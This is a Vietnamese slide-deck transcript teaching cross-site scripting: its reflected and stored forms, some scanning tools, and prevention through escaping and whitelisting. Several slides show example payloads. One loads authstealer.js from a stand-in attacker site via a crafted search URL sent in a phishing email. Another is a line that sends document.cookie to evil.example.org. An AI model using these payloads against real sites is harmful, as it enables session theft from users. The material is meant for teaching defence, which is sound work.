Top Banner
Lỗi XSS - Cross-Site Scripting
16

Xss

Aug 18, 2015

Download

Technology

Linh Hoàng
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Xss

Lỗi XSS - Cross-Site Scripting

Page 2: Xss

Mục lục

Các dạng tấn công

Công cụ tìm kiếm lỗi

Cách phòng chống lỗi

Page 3: Xss

Khái niệm

Page 4: Xss

Khái niệm•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng

• Ví dụ:một đoạn Javascript:<script%20src="http://mallorysevilsite.com/authstealer.js">

•Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo

Page 5: Xss

Các dạng lỗi

Non-persistent

Persistent

Page 6: Xss

Non-persistent

• Với dạng non-persistent, dữ liệu khai thác sẽ không được lưu trữ trên server.

Page 7: Xss

A dùng trang web của B

Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư

Trang web của B có lỗi XSS trong chức năng tìm kiếm

http://bobssite.org?q=search term

search term

Non-persistentVí dụ

Page 8: Xss

• Chức năng tìm kiếm của trang web khi nhận được một query:

• Trang web sẽ hiện ra

"http://bobssite.org?q=puppies

http://bobssite.org?q=puppies

puppies

puppies not found

Page 9: Xss

• Chức năng tìm kiếm của trang web khi nhận được một query bất thường như:

• Trang web sẽ hiện ra

<script type='text/javascript'>alert('pwnd');</script>

http://bobssite.org?q=<script…

<script ….

<script …. not foundpwnd

Page 10: Xss

• C tìm ra lỗi này của trang web B

• C tạo ra URL

• C gửi URL cho những thành viên của trang web B

http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">

Check out this cute puppy. http://bobssite.org?q=puppies<script%20….

From: [email protected]

Page 11: Xss

•A nhận được email và click vào link

•Link dẫn đến trang web của B và hiện ra “puppies not found”

•Script authstealer.js trong URL được thực hiện

•Script này lấy thông tin xác thực của A và gửi cho trang web của C

Ví dụ: một đoạn trong authstealer.jsnew Image().src ='http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);

Page 12: Xss

Persistent

Với dạng Persistent, đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.

Page 13: Xss

Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau:

PersistentVí dụ

Page 14: Xss

• Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:

• Kết quả

Xin <script>alert(“XSS”)</script>chào!

Page 15: Xss

Công cụ tìm kiếm lỗi XSS

Có khá nhiều công cụ miễn phí và thương mại để tìm kiếm lỗi XSS

Grabber

ZAP (OWASP)

Wapiti

Page 16: Xss

• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào

• Ví dụ:

• Tham khảo thêm về HTML escaping:

• Lập danh sách những dữ liệu được phép nhập vào• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt

• Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP)

& --> &amp; < --> &lt; > --> &gt;

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy

Cách phòng chống